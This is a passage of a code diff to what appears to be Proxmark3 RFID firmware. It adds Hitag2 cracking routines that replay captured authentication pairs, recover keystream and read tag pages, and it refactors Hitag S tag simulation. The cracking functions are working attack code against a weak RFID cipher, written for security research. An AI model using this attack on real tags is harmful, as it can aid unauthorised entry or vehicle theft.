(!hitag2crack_extend_keystream(keybits, &kslen, ksoffset, nrar, uid)) { + UserMessage("hitag2crack_extend_keystream failed\r\n"); + return false; + } + UserMessage("Recovered %d bits of keystream\r\n", kslen); + + } + + for (i = 0; i < 2048; i += 256) { + binarraytohex(keybitshex, keybits + i, 256); + UserMessage("%s\r\n", keybitshex); + } + + response[0] = 0x00; + + return true; +} + +// hitag2crack_send_auth replays the auth and returns. +// nrar is the 64 bit binarray of the nR aR pair; +bool hitag2crack_send_auth(uint8_t *nrar) { + uint8_t uid[9]; + uint8_t e_page3str[9]; + + // get the UID + if (!hitag2_get_uid(uid)) { + UserMessage("hitag2crack_send_auth:\r\n cannot get UID\r\n"); + return false; + } + + // START_AUTH kills active crypto session + CryptoActive = false; + + // get the UID again + if (!hitag2_get_uid(uid)) { + UserMessage("hitag2crack_send_auth:\r\n cannot get UID (2nd time)\r\n"); + return false; + } + + // send nrar and receive (useless) encrypted page 3 value + if (!hitag2crack_tx_rx(e_page3str, nrar, 64, RWD_STATE_WAKING, false)) { + UserMessage("hitag2crack_send_auth:\r\n tx/rx nrar failed\r\n"); + return false; + } + return true; +} + +// hitag2crack_consume_keystream sends an extended command (up to 510 bits in +// length) to consume keystream. +// keybits is the binarray of keystream bits; +// kslen is the length of keystream; +// ksoffset is a pointer to the current keystream offset (updated by this fn); +// nrar is the 64 bit binarray of the nR aR pair. +bool hitag2crack_consume_keystream(uint8_t *keybits, int kslen, int *ksoffset, uint8_t *nrar) { + int conlen; + int numcmds; + int i; + uint8_t ext_cmd[510]; + uint8_t e_ext_cmd[510]; + uint8_t responsestr[9]; + + // calculate the length of keybits to consume with the extended command. + // 42 = 32 bit response + 10 bit command reserved for next command. conlen + // cannot be longer than 510 bits to fit into the small RWD buffer. + conlen = kslen - *ksoffset - 42; + if (conlen < 10) { + UserMessage("hitag2crack_consume_keystream:\r\n conlen < 10\r\n"); + return false; + } + + // sanitise conlen + if (conlen > 510) { + conlen = 510; + } + + // calculate how many repeated commands to send in this extended command. + numcmds = conlen / 10; + + // build extended command + for (i = 0; i < numcmds; i++) { + binstringtobinarray(ext_cmd + (i * 10), READP0CMD); + } + + // xor extended cmd with keybits + hitag2crack_xor(e_ext_cmd, ext_cmd, keybits + *ksoffset, numcmds * 10); + + // send encrypted command + if (!hitag2crack_tx_rx(responsestr, e_ext_cmd, numcmds * 10, RWD_STATE_WAKING, false)) { + UserMessage("hitag2crack_consume_keystream:\r\n tx/rx cmd failed\r\n"); + return false; + } + + // test response + if (strcmp(responsestr, ERROR_RESPONSE) == 0) { + UserMessage("hitag2crack_consume_keystream:\r\n got error response from card\r\n"); + return false; + } + + // dont bother decrypting the response - we already know the keybits + + // update ksoffset with command length and response + *ksoffset += (numcmds * 10) + 32; +} + +// hitag2crack_extend_keystream sends an extended command to retrieve more keybits. +// keybits is the binarray of the keystream bits; +// kslen is a pointer to the current keybits length; +// ksoffset is the offset into the keybits array; +// nrar is the 64 bit binarray of the nR aR pair; +// uid is the 32 bit binarray of the UID. +bool hitag2crack_extend_keystream(uint8_t *keybits, int *kslen, int ksoffset, uint8_t *nrar, uint8_t *uid) { + int cmdlen; + int numcmds; + uint8_t ext_cmd[510]; + uint8_t e_ext_cmd[510]; + uint8_t responsestr[9]; + uint8_t e_response[32]; + int i; + + // calc number of command iterations to send + cmdlen = *kslen - ksoffset; + if (cmdlen < 10) { + UserMessage("hitag2crack_extend_keystream:\r\n cmdlen < 10\r\n"); + return false; + } + + numcmds = cmdlen / 10; + + // build extended command + for (i = 0; i < numcmds; i++) { + binstringtobinarray(ext_cmd + (i * 10), READP0CMD); + } + + // xor extended cmd with keybits + hitag2crack_xor(e_ext_cmd, ext_cmd, keybits + ksoffset, numcmds * 10); + + // send extended encrypted cmd + if (!hitag2crack_tx_rx(responsestr, e_ext_cmd, numcmds * 10, RWD_STATE_WAKING, false)) { + UserMessage("hitag2crack_extend_keystream:\r\n tx/rx cmd failed\r\n"); + return false; + } + + // test response + if (strcmp(responsestr, ERROR_RESPONSE) == 0) { + UserMessage("hitag2crack_extend_keystream:\r\n got error response from card\r\n"); + return false; + } + + // convert response to binarray + hextobinarray(e_response, responsestr); + + // recover keystream from encrypted response + hitag2crack_xor(keybits + ksoffset + (numcmds * 10), e_response, uid, 32); + + // update kslen + *kslen = ksoffset + (numcmds * 10) + 32; + + return true; + +} + +bool hitag2_reader(uint8_t *response, uint8_t *key, bool interactive) { + uint8_t tmp[9]; + int i; + + response[0] = '\0'; + // auth to tag + if (hitag2_crypto_auth(tmp, key)) { + // read tag, one page at a time + for (i = 0; i <= 7; ++i) { + if (!read_tag(tmp, i, i)) { + // if read fails, it could be because of auth, + // so try to reauth + if (!hitag2_crypto_auth(tmp, key)) { + // if we can't reauth, it's a real failure + return false; + } + // temp failure (probably due to page protections) + strcpy(tmp, "XXXXXXXX"); + } + // page contents are in tmp + strcat(response, tmp); + } + + if (interactive) { + tmp[8] = '\0'; + for (i = 0; i <= 7 ; ++i) { + UserMessageNum("%d: ", i); + memcpy(tmp, response + (i * 8), 8); + UserMessage("%s\r\n", tmp); + } + UserMessage("%s", "\r\n"); + } else { + hitag2_nvm_store_tag(response); + } + return true; + } else { + return false; + } +} diff --git a/armsrc/hitag2crack.h b/armsrc/hitag2crack.h new file mode 100644 index 000000000..af3e41d14 --- /dev/null +++ b/armsrc/hitag2crack.h @@ -0,0 +1,31 @@ +//----------------------------------------------------------------------------- +// Kevin Sheldrake , Aug 2018 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Definitions hitag2 attack functions +//----------------------------------------------------------------------------- + +bool hitag2_crack(uint8_t *response, uint8_t *nrarhex); +bool hitag2crack_find_valid_e_cmd(uint8_t e_cmd[], uint8_t nrar[]); +bool hitag2crack_find_e_page0_cmd(uint8_t keybits[], uint8_t e_firstcmd[], uint8_t nrar[], uint8_t uid[]); +bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e_cmd, uint8_t *uid, uint8_t *e_uid); +void hitag2crack_xor(uint8_t *target, uint8_t *source, uint8_t *pad, unsigned int len); +bool hitag2crack_read_page(uint8_t *responsestr, uint8_t pagenum, uint8_t *nrar, uint8_t *keybits); +bool hitag2crack_send_e_cmd(uint8_t *responsestr, uint8_t *nrar, uint8_t *cmd, int len); +bool hitag2crack_tx_rx(uint8_t *responsestr, uint8_t *msg, int len, int state, bool reset); + +bool hitag2crack_rng_init(uint8_t *response, uint8_t *input); +bool hitag2crack_decrypt_hex(uint8_t *response, uint8_t *hex); +bool hitag2crack_decrypt_bin(uint8_t *response, uint8_t *e_binstr); +bool hitag2crack_encrypt_hex(uint8_t *response, uint8_t *hex); +bool hitag2crack_encrypt_bin(uint8_t *response, uint8_t *e_binstr); + +bool hitag2_keystream(uint8_t *response, uint8_t *nrarhex); +bool hitag2crack_send_auth(uint8_t *nrar); +bool hitag2crack_consume_keystream(uint8_t *keybits, int kslen, int *ksoffset, uint8_t *nrar); +bool hitag2crack_extend_keystream(uint8_t *keybits, int *kslen, int ksoffset, uint8_t *nrar, uint8_t *uid); + +bool hitag2_reader(uint8_t *response, uint8_t *key, bool interactive); diff --git a/armsrc/hitagS.c b/armsrc/hitagS.c index d52e18fd4..78009496e 100644 --- a/armsrc/hitagS.c +++ b/armsrc/hitagS.c @@ -10,9 +10,22 @@ //----------------------------------------------------------------------------- // Some code was copied from Hitag2.c //----------------------------------------------------------------------------- +// bosb 2020 #include "hitagS.h" +#include "proxmark3_arm.h" +#include "cmd.h" +#include "BigBuf.h" +#include "fpgaloader.h" +#include "ticks.h" +#include "dbprint.h" +#include "util.h" +#include "string.h" +#include "commonutil.h" +#include "hitag2_crypto.h" +#include "lfadc.h" + #define CRC_PRESET 0xFF #define CRC_POLYNOM 0x1D @@ -39,6 +52,22 @@ size_t blocknr; bool end = false; //#define SENDBIT_TEST +/* array index 3 2 1 0 // bytes in sim.bin file are 0 1 2 3 +// UID is 0 1 2 3 // tag.uid is 3210 +// datasheet HitagS_V11.pdf bytes in tables printed 3 2 1 0 + +#db# UID: 5F C2 11 84 +#db# conf0: C9 conf1: 00 conf2: 00 + 3 2 1 0 +#db# Page[ 0]: 84 11 C2 5F uid +#db# Page[ 1]: AA 00 00 C9 conf, HITAG S 256 +#db# Page[ 2]: 4E 4F 54 48 +#db# Page[ 3]: 52 4B 49 4D +#db# Page[ 4]: 00 00 00 00 +#db# Page[ 5]: 00 00 00 00 +#db# Page[ 6]: 00 00 00 00 +#db# Page[ 7]: 4B 4F 5F 57 */ + #define ht2bs_4a(a,b,c,d) (~(((a|b)&c)^(a|d)^b)) #define ht2bs_4b(a,b,c,d) (~(((d|c)&(a^b))^(d|a|b))) #define ht2bs_5c(a,b,c,d,e) (~((((((c^e)|d)&a)^b)&(c^b))^(((d^e)|a)&((d^b)|c)))) @@ -75,7 +104,7 @@ bool end = false; #define HITAG_T_TAG_CAPTURE_THREE_HALF 41 #define HITAG_T_TAG_CAPTURE_FOUR_HALF 57 -#define DEBUG 0 +#define DBGLEVEL 0 /* * Implementation of the crc8 calculation from Hitag S @@ -196,6 +225,22 @@ static void hitag_send_bit(int bit) { } static void hitag_send_frame(const uint8_t *frame, size_t frame_len) { + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("hitag_send_frame: (%i) %02X %02X %02X %02X", frame_len, frame[0], frame[1], frame[2], frame[3]); + // The beginning of the frame is hidden in some high level; pause until our bits will have an effect + AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; + HIGH(GPIO_SSC_DOUT); + switch (m) { + case AC4K: + case MC8K: + while (AT91C_BASE_TC0->TC_CV < T0 * 40) {}; //FADV + break; + case AC2K: + case MC4K: + while (AT91C_BASE_TC0->TC_CV < T0 * 20) {}; //STD + ADV + break; + } + // SOF - send start of frame for (size_t i = 0; i < sof_bits; i++) { hitag_send_bit(1); @@ -288,6 +333,25 @@ static int check_select(uint8_t *rx, uint32_t uid) { return 0; } +void hitagS_set_frame_modulation() { + switch (tag.mode) { + case HT_STANDARD: + sof_bits = 1; + m = MC4K; + break; + case HT_ADVANCED: + sof_bits = 6; + m = MC4K; + break; + case HT_FAST_ADVANCED: + sof_bits = 6; + m = MC8K; + break; + default: + break; + } +} + /* * handles all commands from a reader */ @@ -307,20 +371,28 @@ static void hitagS_handle_reader_command(uint8_t *rx, const size_t rxlen, switch (rxlen) { case 5: { //UID request with a selected response protocol mode + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("UID request: length: %i first byte: %02x", rxlen, rx[0]); tag.pstate = HT_READY; tag.tstate = HT_NO_OP; if ((rx[0] & 0xf0) == 0x30) { + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("HT_STANDARD"); tag.mode = HT_STANDARD; sof_bits = 1; m = AC2K; } if ((rx[0] & 0xf0) == 0xc0) { tag.mode = HT_ADVANCED; + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("HT_ADVANCED"); sof_bits = 3; m = AC2K; } if ((rx[0] & 0xf0) == 0xd0) { + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("HT_FAST_ADVANCED"); tag.mode = HT_FAST_ADVANCED; sof_bits = 3; m = AC4K; @@ -333,29 +405,18 @@ static void hitagS_handle_reader_command(uint8_t *rx, const size_t rxlen, break; case 45: { //select command from reader received + if (DBGLEVEL >= DBG_EXTENDED) + DbpString("SELECT"); if (check_select(rx, tag.uid) == 1) { + if (DBGLEVEL >= DBG_EXTENDED) + DbpString("SELECT match"); //if the right tag was selected *txlen = 32; - switch (tag.mode) { - case HT_STANDARD: - sof_bits = 1; - m = MC4K; - break; - case HT_ADVANCED: - sof_bits = 6; - m = MC4K; - break; - case HT_FAST_ADVANCED: - sof_bits = 6; - m = MC8K; - break; - default: - break; - } + hitagS_set_frame_modulation(); //send configuration for (int i = 0; i < 4; i++) - tx[i] = (tag.pages[0][1] >> (i * 8)) & 0xff; + tx[i] = tag.pages[1][i]; tx[3] = 0xff; if (tag.mode != HT_STANDARD) { *txlen = 40; @@ -379,22 +440,7 @@ static void hitagS_handle_reader_command(uint8_t *rx, const size_t rxlen, Dbprintf(",{0x%02X, 0x%02X, 0x%02X, 0x%02X, 0x%02X, 0x%02X, 0x%02X, 0x%02X}", rx[0], rx[1], rx[2], rx[3], rx[4], rx[5], rx[6], rx[7]); - switch (tag.mode) { - case HT_STANDARD: - sof_bits = 1; - m = MC4K; - break; - case HT_ADVANCED: - sof_bits = 6; - m = MC4K; - break; - case HT_FAST_ADVANCED: - sof_bits = 6; - m = MC8K; - break; - default: - break; - } + hitagS_set_frame_modulation(); for (int i = 0; i < 4; i++) _hitag2_byte(&state); @@ -427,7 +473,10 @@ static void hitagS_handle_reader_command(uint8_t *rx, const size_t rxlen, } */ } + break; case 40: + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("WRITE"); //data received to be written if (tag.tstate == HT_WRITING_PAGE_DATA) { tag.tstate = HT_NO_OP; @@ -437,44 +486,14 @@ static void hitagS_handle_reader_command(uint8_t *rx, const size_t rxlen, *txlen = 2; tx[0] = 0x40; page_to_be_written = 0; - switch (tag.mode) { - case HT_STANDARD: - sof_bits = 1; - m = MC4K; - break; - case HT_ADVANCED: - sof_bits = 6; - m = MC4K; - break; - case HT_FAST_ADVANCED: - sof_bits = 6; - m = MC8K; - break; - default: - break; - } + hitagS_set_frame_modulation(); } else if (tag.tstate == HT_WRITING_BLOCK_DATA) { tag.pages[page_to_be_written / 4][page_to_be_written % 4] = (rx[0] << 24) + (rx[1] << 16) + (rx[2] << 8) + rx[3]; //send ack *txlen = 2; tx[0] = 0x40; - switch (tag.mode) { - case HT_STANDARD: - sof_bits = 1; - m = MC4K; - break; - case HT_ADVANCED: - sof_bits = 6; - m = MC4K; - break; - case HT_FAST_ADVANCED: - sof_bits = 6; - m = MC8K; - break; - default: - break; - } + hitagS_set_frame_modulation(); page_to_be_written++; block_data_left--; if (block_data_left == 0) { @@ -489,29 +508,14 @@ static void hitagS_handle_reader_command(uint8_t *rx, const size_t rxlen, //send page data uint8_t page = ((rx[0] & 0x0f) * 16) + ((rx[1] & 0xf0) / 16); *txlen = 32; - tx[0] = (tag.pages[page / 4][page % 4]) & 0xff; - tx[1] = (tag.pages[page / 4][page % 4] >> 8) & 0xff; - tx[2] = (tag.pages[page / 4][page % 4] >> 16) & 0xff; - tx[3] = (tag.pages[page / 4][page % 4] >> 24) & 0xff; + tx[0] = tag.pages[page][0]; + tx[1] = tag.pages[page][1]; + tx[2] = tag.pages[page][2]; + tx[3] = tag.pages[page][3]; if (tag.LKP && page == 1) tx[3] = 0xff; - switch (tag.mode) { - case HT_STANDARD: - sof_bits = 1; - m = MC4K; - break; - case HT_ADVANCED: - sof_bits = 6; - m = MC4K; - break; - case HT_FAST_ADVANCED: - sof_bits = 6; - m = MC8K; - break; - default: - break; - } + hitagS_set_frame_modulation(); if (tag.mode != HT_STANDARD) { //add crc8 @@ -532,29 +536,13 @@ static void hitagS_handle_reader_command(uint8_t *rx, const size_t rxlen, *txlen = 32 * 4; //send page,...,page+3 data for (int i = 0; i < 4; i++) { - tx[0 + i * 4] = (tag.pages[page / 4][page % 4]) & 0xff; - tx[1 + i * 4] = (tag.pages[page / 4][page % 4] >> 8) & 0xff; - tx[2 + i * 4] = (tag.pages[page / 4][page % 4] >> 16) & 0xff; - tx[3 + i * 4] = (tag.pages[page / 4][page % 4] >> 24) & 0xff; - page++; + tx[0 + i * 4] = tag.pages[page + 0 + i * 4][0]; + tx[1 + i * 4] = tag.pages[page + 1 + i * 4][1]; + tx[2 + i * 4] = tag.pages[page + 2 + i * 4][2]; + tx[3 + i * 4] = tag.pages[page + 3 + i * 4][3]; } - switch (tag.mode) { - case HT_STANDARD: - sof_bits = 1; - m = MC4K; - break; - case HT_ADVANCED: - sof_bits = 6; - m = MC4K; - break; - case HT_FAST_ADVANCED: - sof_bits = 6; - m = MC8K; - break; - default: - break; - } + hitagS_set_frame_modulation(); if (tag.mode != HT_STANDARD) { //add crc8 @@ -565,29 +553,12 @@ static void hitagS_handle_reader_command(uint8_t *rx, const size_t rxlen, tx[16] = crc; } - if ((page - 4) % 4 != 0 || (tag.LKP && (page - 4) == 0)) { + if ((page) % 4 != 0 || (tag.LKP && (page) == 0)) { sof_bits = 0; *txlen = 0; } } else if ((rx[0] & 0xf0) == 0x80) { //write page uint8_t page = ((rx[0] & 0x0f) * 16) + ((rx[1] & 0xf0) / 16); - - switch (tag.mode) { - case HT_STANDARD: - sof_bits = 1; - m = MC4K; - break; - case HT_ADVANCED: - sof_bits = 6; - m = MC4K; - break; - case HT_FAST_ADVANCED: - sof_bits = 6; - m = MC8K; - break; - default: - break; - } if ((tag.LCON && page == 1) || (tag.LKP && (page == 2 || page == 3))) { //deny @@ -602,22 +573,7 @@ static void hitagS_handle_reader_command(uint8_t *rx, const size_t rxlen, } else if ((rx[0] & 0xf0) == 0x90) { //write block uint8_t page = ((rx[0] & 0x0f) * 6) + ((rx[1] & 0xf0) / 16); - switch (tag.mode) { - case HT_STANDARD: - sof_bits = 1; - m = MC4K; - break; - case HT_ADVANCED: - sof_bits = 6; - m = MC4K; - break; - case HT_FAST_ADVANCED: - sof_bits = 6; - m = MC8K; - break; - default: - break; - } + hitagS_set_frame_modulation(); if (page % 4 != 0 || page == 0) { //deny *txlen = 0; @@ -633,7 +589,8 @@ static void hitagS_handle_reader_command(uint8_t *rx, const size_t rxlen, } break; default: - + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("unknown rxlen: (%i) %02X %02X %02X %02X ...", rxlen, rx[0], rx[1], rx[2], rx[3]); break; } } @@ -711,7 +668,7 @@ static int hitagS_handle_tag_auth(hitag_function htf, uint64_t key, uint64_t NrA | (uid[30] << 1) | uid[31]; - if (DEBUG) + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("UID: %02X %02X %02X %02X", uid1, uid2, uid3, uid4); tag.uid = (uid4 << 24 | uid3 << 16 | uid2 << 8 | uid1); @@ -805,7 +762,7 @@ static int hitagS_handle_tag_auth(hitag_function htf, uint64_t key, uint64_t NrA tag.LCK1 = response_bit[26]; tag.LCK0 = response_bit[27]; - if (DEBUG) + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("conf0: %02X conf1: %02X conf2: %02X", conf_pages[0], conf_pages[1], conf_pages[2]); if (tag.auth == 1) { @@ -828,7 +785,7 @@ static int hitagS_handle_tag_auth(hitag_function htf, uint64_t key, uint64_t NrA tx[5] = auth_ks[1]; tx[6] = auth_ks[2]; tx[7] = auth_ks[3]; - if (DEBUG) + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("%02X %02X %02X %02X %02X %02X %02X %02X", tx[0], tx[1], tx[2], tx[3], tx[4], tx[5], tx[6], tx[7]); } else if (htf == 01 || htf == 03) { //RHTS_CHALLENGE //WHTS_CHALLENGE @@ -853,7 +810,7 @@ static int hitagS_handle_tag_auth(hitag_function htf, uint64_t key, uint64_t NrA calc_crc(&crc, ((rx[1] & 0x0f) * 16 + ((rx[2] & 0xf0) / 16)), 8); calc_crc(&crc, ((rx[2] & 0x0f) * 16 + ((rx[3] & 0xf0) / 16)), 8); calc_crc(&crc, ((rx[3] & 0x0f) * 16 + ((rx[4] & 0xf0) / 16)), 8); - if (DEBUG) { + if (DBGLEVEL >= DBG_EXTENDED) { Dbprintf("UID:::%X", tag.uid); Dbprintf("RND:::%X", rnd); } @@ -873,7 +830,7 @@ static int hitagS_handle_tag_auth(hitag_function htf, uint64_t key, uint64_t NrA pwdl1 = ((rx[3] & 0x0f) * 16 + ((rx[4] & 0xf0) / 16)) ^ _hitag2_byte(&state); } - if (DEBUG) + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("pwdh0 %02X pwdl0 %02X pwdl1 %02X", pwdh0, pwdl0, pwdl1); //Dbprintf("%X %02X", rnd, ((rx[4] & 0x0f) * 16) + ((rx[5] & 0xf0) / 16)); @@ -919,71 +876,81 @@ void SimulateHitagSTag(bool tag_mem_supplied, uint8_t *data) { tag.pstate = HT_READY; tag.tstate = HT_NO_OP; - for (i = 0; i < 16; i++) - for (j = 0; j < 4; j++) - tag.pages[i][j] = 0x0; - // read tag data into memory if (tag_mem_supplied) { + for (i = 0; i < 16; i++) + for (j = 0; j < 4; j++) + tag.pages[i][j] = 0x0; + DbpString("Loading hitagS memory..."); memcpy((uint8_t *)tag.pages, data, 4 * 64); + } else { + // use the last read tag } - tag.uid = (uint32_t)tag.pages[0]; - tag.key = (intptr_t)tag.pages[3]; + tag.uid = ((tag.pages[0][3]) << 24) | ((tag.pages[0][2]) << 16) | ((tag.pages[0][1]) << 8) | tag.pages[0][0]; + tag.key = ((tag.pages[3][3]) << 24) | ((tag.pages[3][2]) << 16) | ((tag.pages[3][1]) << 8) | tag.pages[3][0]; tag.key <<= 16; - tag.key += ((tag.pages[2][0]) << 8) + tag.pages[2][1]; - tag.pwdl0 = tag.pages[2][3]; - tag.pwdl1 = tag.pages[2][2]; - tag.pwdh0 = tag.pages[1][0]; + tag.key += ((tag.pages[2][3]) << 8) + tag.pages[2][2]; + tag.pwdl0 = tag.pages[2][0]; + tag.pwdl1 = tag.pages[2][1]; + tag.pwdh0 = tag.pages[1][3]; //con0 tag.max_page = 64; - if ((tag.pages[1][3] & 0x2) == 0 && (tag.pages[1][3] & 0x1) == 1) + if ((tag.pages[1][0] & 0x2) == 0 && (tag.pages[1][0] & 0x1) == 1) tag.max_page = 8; - if ((tag.pages[1][3] & 0x2) == 0 && (tag.pages[1][3] & 0x1) == 0) + if ((tag.pages[1][0] & 0x2) == 0 && (tag.pages[1][0] & 0x1) == 0) tag.max_page = 0; + if (DBGLEVEL >= DBG_EXTENDED) + for (i = 0; i < tag.max_page; i++) + Dbprintf("Page[%2d]: %02X %02X %02X %02X", i, + (tag.pages[i][3]) & 0xff, + (tag.pages[i][2]) & 0xff, + (tag.pages[i][1]) & 0xff, + tag.pages[i][0] & 0xff); //con1 tag.auth = 0; - if ((tag.pages[1][2] & 0x80) == 0x80) + if ((tag.pages[1][1] & 0x80) == 0x80) tag.auth = 1; tag.LCON = 0; - if ((tag.pages[1][2] & 0x2) == 0x02) + if ((tag.pages[1][1] & 0x2) == 0x02) tag.LCON = 1; tag.LKP = 0; - if ((tag.pages[1][2] & 0x1) == 0x01) + if ((tag.pages[1][1] & 0x1) == 0x01) tag.LKP = 1; //con2 //0=read write 1=read only tag.LCK7 = 0; - if ((tag.pages[1][1] & 0x80) == 0x80) + if ((tag.pages[1][2] & 0x80) == 0x80) tag.LCK7 = 1; tag.LCK6 = 0; - if ((tag.pages[1][1] & 0x40) == 0x040) + if ((tag.pages[1][2] & 0x40) == 0x040) tag.LCK6 = 1; tag.LCK5 = 0; - if ((tag.pages[1][1] & 0x20) == 0x20) + if ((tag.pages[1][2] & 0x20) == 0x20) tag.LCK5 = 1; tag.LCK4 = 0; - if ((tag.pages[1][1] & 0x10) == 0x10) + if ((tag.pages[1][2] & 0x10) == 0x10) tag.LCK4 = 1; tag.LCK3 = 0; - if ((tag.pages[1][1] & 0x8) == 0x08) + if ((tag.pages[1][2] & 0x8) == 0x08) tag.LCK3 = 1; tag.LCK2 = 0; - if ((tag.pages[1][1] & 0x4) == 0x04) + if ((tag.pages[1][2] & 0x4) == 0x04) tag.LCK2 = 1; tag.LCK1 = 0; - if ((tag.pages[1][1] & 0x2) == 0x02) + if ((tag.pages[1][2] & 0x2) == 0x02) tag.LCK1 = 1; tag.LCK0 = 0; - if ((tag.pages[1][1] & 0x1) == 0x01) + if ((tag.pages[1][2] & 0x1) == 0x01) tag.LCK0 = 1; + // Set up simulator mode, frequency divisor which will drive the FPGA // and analog mux selection. FpgaDownloadAndGo(FPGA_BITSTREAM_LF); FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT); - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz + FpgaSendCommand(FPGA_CMD_SET_DIVISOR, LF_DIVISOR_125); //125kHz SetAdcMuxFor(GPIO_MUXSEL_LOPKD); // Configure output pin that is connected to the FPGA (for modulating) @@ -1010,7 +977,7 @@ void SimulateHitagSTag(bool tag_mem_supplied, uint8_t *data) { // TC1: Capture mode, default timer source = MCK/2 (TIMER_CLOCK1), TIOA is external trigger, // external trigger rising edge, load RA on rising edge of TIOA. AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK - | AT91C_TC_ETRGEDG_RISING | AT91C_TC_ABETRG | AT91C_TC_LDRA_RISING; + | AT91C_TC_ETRGEDG_RISING | AT91C_TC_ABETRG | AT91C_TC_LDRA_RISING; // Enable and reset counter AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; @@ -1082,12 +1049,13 @@ void SimulateHitagSTag(bool tag_mem_supplied, uint8_t *data) { LogTrace(tx, nbytes(txlen), 0, 0, NULL, false); } + // Enable and reset external trigger in timer for capturing future frames + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + // Reset the received frame and response timing info memset(rx, 0x00, sizeof(rx)); response = 0; - // Enable and reset external trigger in timer for capturing future frames - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; LED_B_OFF(); } // Reset the frame length @@ -1096,22 +1064,92 @@ void SimulateHitagSTag(bool tag_mem_supplied, uint8_t *data) { overflow += (AT91C_BASE_TC1->TC_CV / T0); // Reset the timer to restart while-loop that receives frames AT91C_BASE_TC1->TC_CCR = AT91C_TC_SWTRG; + } - LEDsoff(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); set_tracing(false); - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; - + lf_finalize(); // release allocated memory from BigBuff. BigBuf_free(); - StartTicks(); - DbpString("Sim Stopped"); } +void hitagS_receive_frame(uint8_t *rx, size_t *rxlen, int *response) { + + // Reset values for receiving frames + memset(rx, 0x00, HITAG_FRAME_LEN * sizeof(uint8_t)); + *rxlen = 0; + int lastbit = 1; + bool bSkip = true; + int tag_sof = 1; + *response = 0; + uint32_t errorCount = 0; + + // Receive frame, watch for at most T0*EOF periods + while (AT91C_BASE_TC1->TC_CV < T0 * HITAG_T_WAIT_MAX) { + // Check if falling edge in tag modulation is detected + if (AT91C_BASE_TC1->TC_SR & AT91C_TC_LDRAS) { + // Retrieve the new timing values + int ra = (AT91C_BASE_TC1->TC_RA / T0); + + // Reset timer every frame, we have to capture the last edge for timing + AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; + + LED_B_ON(); + + // Capture tag frame (manchester decoding using only falling edges) + if (ra >= HITAG_T_EOF) { + if (*rxlen != 0) { + //DbpString("wierd1?"); + } + // Capture the T0 periods that have passed since last communication or field drop (reset) + // We always recieve a 'one' first, which has the falling edge after a half period |-_| + *response = ra - HITAG_T_TAG_HALF_PERIOD; + } else if (ra >= HITAG_T_TAG_CAPTURE_FOUR_HALF) { + // Manchester coding example |-_|_-|-_| (101) + rx[(*rxlen) / 8] |= 0 << (7 - ((*rxlen) % 8)); + (*rxlen)++; + rx[(*rxlen) / 8] |= 1 << (7 - ((*rxlen) % 8)); + (*rxlen)++; + } else if (ra >= HITAG_T_TAG_CAPTURE_THREE_HALF) { + // Manchester coding example |_-|...|_-|-_| (0...01) + rx[(*rxlen) / 8] |= 0 << (7 - ((*rxlen) % 8)); + (*rxlen)++; + // We have to skip this half period at start and add the 'one' the second time + if (!bSkip) { + rx[(*rxlen) / 8] |= 1 << (7 - ((*rxlen) % 8)); + (*rxlen)++; + } + lastbit = !lastbit; + bSkip = !bSkip; + } else if (ra >= HITAG_T_TAG_CAPTURE_TWO_HALF) { + // Manchester coding example |_-|_-| (00) or |-_|-_| (11) + if (tag_sof) { + // Ignore bits that are transmitted during SOF + tag_sof--; + } else { + // bit is same as last bit + rx[(*rxlen) / 8] |= lastbit << (7 - ((*rxlen) % 8)); + (*rxlen)++; + } + } else { + // Ignore wierd value, is to small to mean anything + errorCount++; + } + } + + // if we saw over 100 wierd values break it probably isn't hitag... + if (errorCount > 100) break; + + // We can break this loop if we received the last bit from a frame + if (AT91C_BASE_TC1->TC_CV > T0 * HITAG_T_EOF) { + if ((*rxlen) > 0) + break; + } + } +} + /* * Authenticates to the Tag with the given key or challenge. * If the key was given the password will be decrypted. @@ -1131,10 +1169,9 @@ void ReadHitagS(hitag_function htf, hitag_data *htd) { uint8_t *tx = txbuf; size_t txlen = 0; int lastbit = 1; - int reset_sof = 1; int t_wait = HITAG_T_WAIT_MAX; bool bStop = false; - int sendNum = 0; + int pageNum = 0; unsigned char mask = 1; unsigned char crc; unsigned char pageData[32]; @@ -1146,6 +1183,9 @@ void ReadHitagS(hitag_function htf, hitag_data *htd) { uint64_t NrAr = 0; uint8_t key_[6]; + tag.pstate = HT_READY; + tag.tstate = HT_NO_OP; + switch (htf) { case RHTSF_CHALLENGE: { DbpString("Authenticating using nr,ar pair:"); @@ -1182,7 +1222,7 @@ void ReadHitagS(hitag_function htf, hitag_data *htd) { // Set fpga in edge detect with reader field, we can modulate as reader now FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT | FPGA_LF_EDGE_DETECT_READER_FIELD); - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz + FpgaSendCommand(FPGA_CMD_SET_DIVISOR, LF_DIVISOR_125); //125kHz SetAdcMuxFor(GPIO_MUXSEL_LOPKD); // Configure output and enable pin that is connected to the FPGA (for modulating) @@ -1220,10 